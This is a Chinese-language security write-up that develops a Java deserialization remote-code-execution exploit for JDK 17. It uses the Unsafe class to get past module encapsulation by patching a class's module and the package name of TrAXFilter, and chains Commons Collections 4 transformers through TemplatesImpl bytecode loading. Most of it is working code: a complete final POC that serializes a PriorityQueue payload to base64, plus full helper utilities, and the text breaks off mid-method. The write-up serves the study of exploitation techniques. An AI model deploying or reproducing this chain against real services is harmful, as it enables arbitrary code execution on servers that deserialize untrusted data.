原理大概就是利用 Unsafe 类去绕过 Jdk17 下的模块限制,从而允许反序列化时 CC 链中的一些类的使用
Unsafe 类 Java安全之Unsafe类 - nice_0e3 - 博客园
Java 魔法类 Unsafe 详解 | JavaGuide
Java魔法类:Unsafe应用解析 - 美团技术团队
Unsafe 是位于 sun.misc 包下的一个类,主要提供一些用于执行低级别、不安全操作的方法
绕过模块检测原理 java安全学习-jdk17绕过反射限制
从一道题初接触RASP-先知社区
JDK17+反射限制绕过
JDK 17 强封装与绕过
在 Jdk 9-16 采用的都是宽松的强封装 ,当我们用反射去获取 java.* 包下的非public变量和方法时会产生警告
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import javassist.ClassPool;import javassist.CtClass;import java.lang.reflect.Method;public class Test { public static void main (String[] args) throws Exception { Method method = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); method.setAccessible(true ); byte [] code = getEvilBytes(); ((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil" , code, 0 , code.length)).newInstance(); } public static byte [] getEvilBytes() throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass evil = classPool.makeClass("Evil" ); evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); return evil.toBytecode(); } }
警告归警告,还是可以成功命令执行的:
但是同样的代码拿到 Jdk17 下运行就会产生以下报错:
1 2 3 4 5 6 7 8 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte [],int ,int ) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @404b9385 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354 ) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297 ) at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199 ) at java.base/java.lang.reflect.Method.setAccessible(Method.java:193 ) at Test.main(Test.java:9 ) 进程已结束,退出代码为 1
这是因为 Jdk 17 启动了强封装, java.* 下的非公共字段和方法都无法反射获取调用了
跟一下堆栈看看具体是怎么限制的:
在 setAccessible 方法下断点:
这里如果 flag 为 true 就会调用 checkCanSetAccessible 来检测是否可以进行 setAccessible
在 Jdk8 下也看了一下,发现没有 checkCanSetAccessible 方法:
所以大概能够确定就是 checkCanSetAccessible 方法限制了对 java.* 的非公共字段和方法的反射
往下跟,都是对 checkCanSetAccessible 的重载,不重要,最后一直跟到实现具体逻辑的部分:
这里直接引用别人的图:
重点在第 311 行,只要我们要调用的类的 Module 和 Object.class 的 Module 一样,就可以通过检验
所以我们可以用 Unsafe 类去修改 caller 类(即 Test)的 Module 即可
(先调用 objectFieldOffset 获取给定类属性值的内存偏移量,用来找到 module 属性值的位置,然后调用 getAndSetObject 根据偏移量赋值)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import javassist.ClassPool;import javassist.CtClass;import sun.misc.Unsafe;import java.lang.reflect.Field;import java.lang.reflect.Method;public class Test { public static void main (String[] args) throws Exception { Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); Module baseModule = Object.class.getModule(); Class currentClass = Test.class; long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(currentClass, addr, baseModule); Method method = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); method.setAccessible(true ); byte [] code = getEvilBytes(); ((Class) method.invoke(ClassLoader.getSystemClassLoader(), "Evil" , code, 0 , code.length)).newInstance(); } public static byte [] getEvilBytes() throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass evil = classPool.makeClass("Evil" ); evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); return evil.toBytecode(); } }
unsafe.getAndSetObject(currentClass, addr, baseModule);
也可以换成 unsafe.putObject(currentClass, addr, baseModule);
这个方法是选择了最简单的一条返回 true 的条件去满足的,观察这个方法会看到还有很多返回 true 的地方
Jdk17 下使用 TemplesImpl 的限制 https://xz.aliyun.com/news/18628
继承 AbstractTranslet 问题 在学习 CC 链时我们知道,利用 TemplesImpl 加载字节码有以下条件:
_name 不为空,恶意类的父类是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
由于 Jdk17 对 com.sun 包下的类都做了限制,不能直接访问,所以我们就要想办法看看能不能不去继承 AbstractTranslet
先回顾一下为什么要继承 AbstractTranslet :
在下面这半条链执行的过程中
1 2 3 4 5 TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass()
在 TemplatesImpl.defineTransletClasses() 里进行了 defineClass():
执行完 TemplatesImpl.defineTransletClasses() 出来之后,回到 TemplatesImpl.getTransletInstance(),调用 newInstance() 进行实例化,此时才会触发我们的恶意代码:
但是如果我们的恶意类的父类不是 AbstractTranslet 的话,就会走到 else
而按照我们原本的 payload,这个 _auxClasses 为 null,走到这里就会报空指针错误,导致还没 newInstance() 就抛出异常提前结束了
这时候我们想的肯定是给 _auxClasses 赋个值,但是它是 transient 的,赋值了也没用
但是好在这个函数里有给它赋值的地方:
所以我们只要在 _bytecodes 里面多放一个字节数组即可,不过要注意这里一定要是一个符合规范的 java 类字节码,如果放一个 new byte[0] 的话,在 defineClass 时会抛出异常
光这样还不够,由于我们没有继承 AbstractTranslet,所以没有进入下面给 _transletIndex 赋值这一步
这个值的初始值是 -1,如果不去修改就会进入下面的判断,导致抛出异常:
这里用 Jdk8 下的 CC3 跑了一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 package com;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.utils.ReflectUtil;import com.utils.SerializeUtil;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.lang.annotation.Target;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer ( TrAXFilter.class ), new InstantiateTransformer ( new Class []{Templates.class}, new Object []{getTemplates()} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "useless" ); Map transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Object handler = ReflectUtil.newInstance( Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ), new Class []{Class.class, Map.class}, new Object []{Target.class, transformedMap} ); SerializeUtil.test(handler); } public static TemplatesImpl getTemplates () throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass evil = classPool.makeClass("Evil" ); evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; Class<?> templatesClass = Class.forName(TemplatesImpl); TemplatesImpl templates = (TemplatesImpl) templatesClass.newInstance(); ReflectUtil.setFieldValue(templates, "_name" , "useless" ); CtClass useless = classPool.makeClass("Useless" ); ReflectUtil.setFieldValue(templates, "_bytecodes" , new byte [][]{evil.toBytecode(), useless.toBytecode()}); ReflectUtil.setFieldValue(templates, "_transletIndex" , 0 ); return templates; } }
反序列化时模块检测的绕过 前面我们绕过了 TemplatesImpl.defineTransletClasses() 中类加载时的异常问题,但是代码执行还需要回到 TemplatesImpl.getTransletInstance(),调用 newInstance() 进行实例化
但是在 Jdk17 下存在模块检测 ,在后面调用 newInstance() 对恶意类进行初始化时会检测到恶意反射
前面我们写的通过 Unsafe 类修改当前类的 Module 来绕过模块检测,是在本地 实现的
而反序列化这个流程是在服务端 执行的,想要绕过检测必须在服务端也使用 Unsafe 去 patchModule
Unsafe 类是不可序列化的,想要拿到它只能通过反射,这和 CC 链获取 Runtime 实例很像。于是我们很容易想到可以利用 InvokerTransformer#transform 去反射获取 Unsafe
先看一下获取 Unsafe 的流程:
1 2 3 4 Class<?> unsafeClass = Class.forName("sun.misc.Unsafe" ); Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe" );theUnsafeField.setAccessible(true ); unsafe = (Unsafe) theUnsafeField.get(null );
再看一下 CC 链中利用 InvokerTransformer#transform 获取 Runtime 的流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Transformer[] transformers = new Transformer []{ new ConstantTransformer ( Runtime.class ), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null } ), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" } ) };
那么同样,我们第一步应该传一个 Unsafe 的 class 对象:
1 2 3 4 5 Transformer[] transformers = new Transformer []{ new ConstantTransformer ( sun.misc.Unsafe.class ) };
然后第二个要 InvokerTransformer,里面传我们要调用的方法名、参数类的class对象、参数
1 2 3 4 5 6 7 8 9 10 Transformer[] transformers = new Transformer []{ new ConstantTransformer ( sun.misc.Unsafe.class ), new InvokerTransformer ( "getDeclaredField" , new Class []{String.class}, new Object []{"theUnsafe" } ) };
下一步是 setAccessible:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Transformer[] transformers = new Transformer []{ new ConstantTransformer ( sun.misc.Unsafe.class ), new InvokerTransformer ( "getDeclaredField" , new Class []{String.class}, new Object []{"theUnsafe" } ), new InvokerTransformer ( "setAccessible" , new Class []{boolean .class}, new Object []{true } ) };
但是接下来就不好继续了,调用 Runtime 这么写是因为前面获得的对象刚好是后面要调用的:
Runtime.class 调 getMethod 返回 Method 对象
Method 对象 调 invoke(执行 getRuntime)返回 Runtime 对象
Runtime 对象 调 exec 命令执行
而我们执行完 setAccessible 得到的是空
这样接下来我们就没办法继续对 Field 继续操作了
所以我们大概需要这样的一个 Transformer:
1 2 3 4 public T transform (final T input) { iTransformer.transform(input); return input; }
能够对输入的对象调用一次 transform,还能在结束后返回一开始的对象,以便于再次对这个对象调用一次 transform
可惜并没有这样的 Transformer,不过 Jiecub3 师傅找到了这样一个组合:
1 2 3 4 5 6 7 8 9 10 ClosureTransformer public T transform (final T input) { iClosure.execute(input); return input; } TransformerClosure public void execute (final E input) { iTransformer.transform(input); }
先看 ClosureTransformer,它接受的参数和返回的参数和我们期望的一样,只不过它调用的是 execute 方法。那么假如 execute 方法里面能够调用我们可控的对象的 transform 方法就刚好满足了条件
并且刚好 TransformerClosure 就是 iClosure 的类型
继续完善 demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.Class;public class demo { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer ( sun.misc.Unsafe.class ), new InvokerTransformer ( "getDeclaredField" , new Class []{String.class}, new Object []{"theUnsafe" } ), new ClosureTransformer ( new TransformerClosure ( new InvokerTransformer ( "setAccessible" , new Class []{boolean .class}, new Object []{true } ) ) ), new InvokerTransformer ( "get" , new Class []{Object.class}, new Object []{null } ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); FileOutputStream fos = new FileOutputStream ("bin1" ); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(chainedTransformer); oos.close(); FileInputStream fis = new FileInputStream ("bin1" ); ObjectInputStream ois = new ObjectInputStream (fis); Transformer o1 = (Transformer) ois.readObject(); ois.close(); Object transform = o1.transform(null ); System.out.println(transform); } }
现在拿到了 Unsafe 对象,接下来就是 patchModule 了
之前我我们是通过把调用类的 Module 改成 Object.class 的 Module 来绕过模块检测的
也就是最终要通过 unsafe.getAndSetObject(currentClass, addr, baseModule);
来实现
第一个参数是当前类对象,第二个是数字,都可以正常传,但是第三个变量是 Module
Module 类不能序列化 :
现在改 Module 为 Object.class 的 Module 看上去是行不通了:我们没办法传 Object.class 的 Module,就算哪个可控的方法能获得 Object.class 的 Module,我们也没办法传到 getAndSetObject 这个方法的参数的位置
前面我们绕过模块检测的时候是选择了一个最简单的方式,那有没有别的办法呢?
并且前面我们是从 setAccessible 去分析的,而这里要绕过的是对 newInstance 的检测
分析绕过 newInstance 写一个新的 Test 进行调试:
1 2 3 4 5 6 public class Test { public static void main (String[] args) throws Exception { Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" ); Object o = clazz.getDeclaredConstructors()[0 ].newInstance(TemplatesUtil.getTemplates()); } }
这里选 TrAXFilter 去实例化是因为我们的链子在反序列化时调用 newInstance 的就是 TrAXFilter 类
点进 newInstance 下个断点,然后开跟
跟到 java.lang.reflect.Constructor#newInstanceWithCaller
看上去有点检测的感觉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 T newInstanceWithCaller (Object[] args, boolean checkAccess, Class<?> caller) throws InstantiationException, IllegalAccessException, InvocationTargetException { if (checkAccess) checkAccess(caller, clazz, clazz, modifiers); if ((clazz.getModifiers() & Modifier.ENUM) != 0 ) throw new IllegalArgumentException ("Cannot reflectively create enum objects" ); ConstructorAccessor ca = constructorAccessor; if (ca == null ) { ca = acquireConstructorAccessor(); } @SuppressWarnings("unchecked") T inst = (T) ca.newInstance(args); return inst; }
检查完访问权限后,才会创建新的实例,在 checkAccess 这一句后面下断点,然后恢复运行,发现没有在下一句断下来就抛出异常了,所以肯定是 checkAccess 里面遇到了问题
跟进 checkAccess:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 final void checkAccess (Class<?> caller, Class<?> memberClass, Class<?> targetClass, int modifiers) throws IllegalAccessException { if (!verifyAccess(caller, memberClass, targetClass, modifiers)) { IllegalAccessException e = Reflection.newIllegalAccessException( caller, memberClass, targetClass, modifiers); if (printStackTraceWhenAccessFails()) { e.printStackTrace(System.err); } throw e; } }
可以看到 verifyAccess 返回为 false,导致抛出异常:
所以关键就是看看怎么让 verifyAccess 返回 true,继续跟进:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 final boolean verifyAccess (Class<?> caller, Class<?> memberClass, Class<?> targetClass, int modifiers) { if (caller == memberClass) { return true ; } if (targetClass != null && Modifier.isProtected(modifiers) && targetClass != memberClass) { if (isAccessChecked(caller, targetClass)) { return true ; } } else if (isAccessChecked(caller)) { return true ; } return slowVerifyAccess(caller, memberClass, targetClass, modifiers); }
可以看到很多地方都可以返回 true
第一个判断 :
调用者的 class 对象 == 被反射的类成员的 class 对象,可以理解为本类反射调用,如果满足这个条件的话肯定就返回 true 了,很好理解,但是我们肯定不满足。
这里没有进行非空判断就直接先判断这个条件,应该也是为了性能考虑,希望处理速度更快(从注释的 quick check 也可以看出来)
第二个判断 :
这里有三个条件,先看第一个非空,这个肯定满足
再看 Modifier.isProtected(modifiers) ,意思是我们访问的是一个 Protected 的方法或者变量
这个就是 false 了,我们没法改变,直接去看 else if:
第三个判断 :
跟进 isAccessChecked:
这里的逻辑是从缓存里找我们的调用类,但是能够看到我们的 accessCheckCache 为 null,肯定是找不到的,所以这里也不通
刚才的条件都没法满足,继续跟进 slowVerifyAccess:
可以看到就是在 verifyMemberAccess 里面返回 false 导致这个函数返回了false,继续跟进:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 public static boolean verifyMemberAccess (Class<?> currentClass, Class<?> memberClass, Class<?> targetClass, int modifiers) { Objects.requireNonNull(currentClass); Objects.requireNonNull(memberClass); if (currentClass == memberClass) { return true ; } if (!verifyModuleAccess(currentClass.getModule(), memberClass)) { return false ; } boolean gotIsSameClassPackage = false ; boolean isSameClassPackage = false ; if (!Modifier.isPublic(getClassAccessFlags(memberClass))) { isSameClassPackage = isSameClassPackage(currentClass, memberClass); gotIsSameClassPackage = true ; if (!isSameClassPackage) { return false ; } } if (Modifier.isPublic(modifiers)) { return true ; } if (Modifier.isPrivate(modifiers)) { if (areNestMates(currentClass, memberClass)) { return true ; } } boolean successSoFar = false ; if (Modifier.isProtected(modifiers)) { if (isSubclassOf(currentClass, memberClass)) { successSoFar = true ; } } if (!successSoFar && !Modifier.isPrivate(modifiers)) { if (!gotIsSameClassPackage) { isSameClassPackage = isSameClassPackage(currentClass, memberClass); gotIsSameClassPackage = true ; } if (isSameClassPackage) { successSoFar = true ; } } if (!successSoFar) { return false ; } if (targetClass != null && Modifier.isProtected(modifiers) && targetClass != currentClass) { if (!gotIsSameClassPackage) { isSameClassPackage = isSameClassPackage(currentClass, memberClass); gotIsSameClassPackage = true ; } if (!isSameClassPackage) { if (!isSubclassOf(targetClass, currentClass)) { return false ; } } } return true ; }
第一个判断肯定不满足,过
第二个判断如果过不去的话直接就是 false
而我们刚好就是死在这里,所以这里肯定要想办法绕过,不然一点机会都没了,继续跟:
这里又是判断当前类的 module 和 被反射的类的 module 是否一样,肯定不满足,看 else:
这里拿了目标类的包名,然后调用 isExported 方法判断当前包名是否对当前类的 module 开放
跟进
没逻辑,继续跟:
第一个判断 :
这个isNamed()
,这里代码意思是被调用类是非命名模块的话就直接返回true
因为在 Java 9 引入模块系统之后,不是所有的 JAR 文件都变成了命名的模块,非命名模块不受模块检测的限制,
所以我们把调用类的 Module.name 反射改为 null 就可以
但其实Module
类做了防护,java不会让我们得到这个的类Field。getDeclaredFields()
出来都是空的
第二个判断 :
other == this 依然是判断 Test1 的 Module 和 java.xml 是否一样,满足不了,过
第三个判断 :
descriptor.isOpen() 是写死的,满足不了
第四个判断 : 跟进 isStaticallyExportedOrOpen :
openPackages != null 满足不了,看下面
重点就在于我们能否满足 exportedPackages != null && allows(exportedPackages.get(pn), other) 了
前面一半已经满足了:
现在看 allows(exportedPackages.get(pn), other)
exportedPackages.get(pn) 是获取包名,我们的结果是 null,跟进 allows
首先我们要让 targets 不为 null,也就是 exportedPackages.get(pn) 不为 null,否则直接就返回 false 了
看一下 exportedPackages.get(pn) ,exportedPackages 是一个 Map,所以我们只要控制 pn 是这个 Map 中存在的键名即可
找找 exportedPackages 里面有哪些东西:
我们让 pn 是这些键值中的任意一个就可以了,看一下 pn 是什么:
一直向上跟(第一个参数就是后面的 pn)
可以看到 pn 就是目标类的包名,我们同样利用 Unsafe 修改即可
修改完再调回刚才那个地方会发现返回 true 了:
接下来一路返回 true ,回到 verifyMemberAccess,最后也返回了 true
测试一下,实例化 TrAXFilter:(这里注意,由于是直接实例化 TrAXFilter,所以 templates 中需要对 _tfactory 赋值)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import sun.misc.Unsafe;import java.lang.reflect.Field;public class Test { public static void main (String[] args) throws Exception { Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" ); UnsafeUtil.patchModule(Test.class); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe" ); Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe" ); theUnsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafeField.get(null ); unsafe.getAndSetObject(clazz, 60 , "org.xml.sax" ); Object o = clazz.getDeclaredConstructors()[0 ].newInstance(TemplatesUtil.getTemplates()); } }
成功触发:
继续完善我们的 Transformer 数组:
调用 getAndSetObject 修改包名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Transformer[] transformers = new Transformer []{ new ConstantTransformer ( sun.misc.Unsafe.class ), new InvokerTransformer ( "getDeclaredField" , new Class []{String.class}, new Object []{"theUnsafe" } ), new ClosureTransformer ( new TransformerClosure ( new InvokerTransformer ( "setAccessible" , new Class []{boolean .class}, new Object []{true } ) ) ), new InvokerTransformer ( "get" , new Class []{Object.class}, new Object []{null } ), new InvokerTransformer ( "getAndSetObject" , new Class []{Object.class, long .class, Object.class}, new Object []{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" ), 60 , "org.xml.sax" } ) };
这里的 60 是这么来的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import sun.misc.Unsafe;import java.lang.Class;import java.lang.reflect.Field;public class Test1 { public static void main (String[] args) throws Exception { Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("packageName" )); System.out.println(addr); } }
然后后面就是正常 CC4 的流程了,传 TrAXFilter.class 给 InstantiateTransformer 调 transform 方法去实例化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 Transformer[] transformers = new Transformer []{ new ConstantTransformer ( sun.misc.Unsafe.class ), new InvokerTransformer ( "getDeclaredField" , new Class []{String.class}, new Object []{"theUnsafe" } ), new ClosureTransformer ( new TransformerClosure ( new InvokerTransformer ( "setAccessible" , new Class []{boolean .class}, new Object []{true } ) ) ), new InvokerTransformer ( "get" , new Class []{Object.class}, new Object []{null } ), new InvokerTransformer ( "getAndSetObject" , new Class []{Object.class, long .class, Object.class}, new Object []{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" ), 60 , "org.xml.sax" } ), new ConstantTransformer ( TrAXFilter.class ), new InstantiateTransformer ( new Class []{Templates.class}, new Object []{getTemplates()} ) };
最下面两个这样写会爆红,因为 TrAXFilter 和 Templates 都是 sun.misc 包下面的,直接 import 会被模块检测,可以用 Class.forName() 获取,最终 POC如下
最终 POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.*;import java.lang.Class;import java.util.PriorityQueue;import javax.xml.transform.Templates;public class POC { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer ( sun.misc.Unsafe.class ), new InvokerTransformer ( "getDeclaredField" , new Class []{String.class}, new Object []{"theUnsafe" } ), new ClosureTransformer ( new TransformerClosure ( new InvokerTransformer ( "setAccessible" , new Class []{boolean .class}, new Object []{true } ) ) ), new InvokerTransformer ( "get" , new Class []{Object.class}, new Object []{null } ), new InvokerTransformer ( "getAndSetObject" , new Class []{Object.class, long .class, Object.class}, new Object []{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" ), 60 , "org.xml.sax" } ), new ConstantTransformer ( Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter" ) ), new InstantiateTransformer ( new Class []{Templates.class}, new Object []{TemplatesUtil.getTemplates()} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue (2 , transformingComparator); ReflectUtil.setFieldValue(priorityQueue, "size" , 2 ); System.out.println(SerializeUtil.serializeToBase64(priorityQueue)); } }
用到的工具类如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import javassist.ClassPool;import javassist.CtClass;public class TemplatesUtil { public static Object getTemplates () throws Exception { Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); UnsafeUtil.patchModule(TemplatesUtil.class, templatesClass); ClassPool classPool = ClassPool.getDefault(); CtClass evil = classPool.makeClass("Evil" ); evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); Object templates = templatesClass.newInstance(); CtClass useless = classPool.makeClass("Useless" ); ReflectUtil.setFieldValue(templates, "_bytecodes" , new byte [][]{evil.toBytecode(), useless.toBytecode()}); ReflectUtil.setFieldValue(templates, "_name" , "useless1" ); ReflectUtil.setFieldValue(templates, "_transletIndex" , 0 ); return templates; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.Base64;public class SerializeUtil { public static byte [] serialize(Object obj) throws Exception { ByteArrayOutputStream arr = new ByteArrayOutputStream (); try (ObjectOutputStream output = new ObjectOutputStream (arr)) { output.writeObject(obj); } return arr.toByteArray(); } public static Object deserialize (byte [] arr) throws Exception { try ( ObjectInputStream input = new ObjectInputStream ( new ByteArrayInputStream (arr) ) ) { return input.readObject(); } } public static String serializeToBase64 (Object obj) throws Exception { byte [] serializedData = serialize(obj); return Base64.getEncoder().encodeToString(serializedData); } public static Object deserializeFromBase64 (String base64) throws Exception { byte [] decodedData = Base64.getDecoder().decode(base64); return deserialize(decodedData); } public static void test (Object obj) throws Exception { deserialize(serialize(obj)); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;public class ReflectUtil { public static Object getFieldValue (Object obj, String name) throws Exception { return getFieldValue(obj.getClass(), obj, name); } public static Object getFieldValue (Class<?> clazz, Object obj, String name) throws Exception { Field f = clazz.getDeclaredField(name); f.setAccessible(true ); return f.get(obj); } public static void setFieldValue (Object obj, String name, Object val) throws Exception { UnsafeUtil.patchModule(ReflectUtil.class, obj.getClass()); setFieldValue(obj.getClass(), obj, name, val); } public static void setFieldValue (Class<?> clazz, Object obj, String name, Object val) throws Exception { Field f = clazz.getDeclaredField(name); f.setAccessible(true ); f.set(obj, val); } public static Object invokeMethod ( Object obj, String name, Class<?>[] parameterTypes, Object[] args ) throws Exception { return invokeMethod(obj.getClass(), obj, name, parameterTypes, args); } public static Object invokeMethod ( Class<?> clazz, Object obj, String name, Class<?>[] parameterTypes, Object[] args ) throws Exception { Method m = clazz.getDeclaredMethod(name, parameterTypes); m.setAccessible(true ); return m.invoke(obj, args); } public static Object newInstance ( Class<?> clazz, Class<?>[] parameterTypes, Object[] args ) throws Exception { Constructor<?> constructor = clazz.getDeclaredConstructor(parameterTypes); constructor.setAccessible(true ); return constructor.newInstance(args); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import sun.misc.Unsafe;import java.lang.reflect.Field;public class UnsafeUtil { private static final Unsafe unsafe; static { try { Class<?> unsafeClass = Class.forName("sun.misc.Unsafe" ); Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe" ); theUnsafeField.setAccessible(true ); unsafe = (Unsafe) theUnsafeField.get(null ); } catch (Exception e) { throw new RuntimeException (e); } } public static void patchModule (Class<?> clazz) throws Exception { Module baseModule = Object.class.getModule(); setFieldValue(clazz, "module" , baseModule); } public static void patchModule (Class clazz, Class targetClass) { try { Class UnsafeClass = Class.forName("sun.misc.Unsafe" ); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe" ); unsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) unsafeField.get(null ); Object targetModule = Class.class.getMethod("getModule" ).invoke(targetClass); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(clazz, addr, targetModule); } catch (Exception e) { } } public static Object getFieldValue (Object obj, String name) throws Exception { return getFieldValue(obj.getClass(), obj, name); } public static Object getFieldValue (Class<?> clazz, Object obj, String name) throws Exception { Field f = clazz.getDeclaredField(name); long offset; if (obj == null ) { offset = unsafe.staticFieldOffset(f); } else { offset = unsafe.objectFieldOffset(f); } return unsafe.getObject(obj, offset); } public static void setFieldValue (Object obj, String name, Object val) throws Exception { setFieldValue(obj.getClass(), obj, name, val); } public static void setFieldValue (Class<?> clazz, Object obj, String name, Object val) throws Exception { Field f = clazz.getDeclaredField(name); long offset; if (obj == null ) { offset = 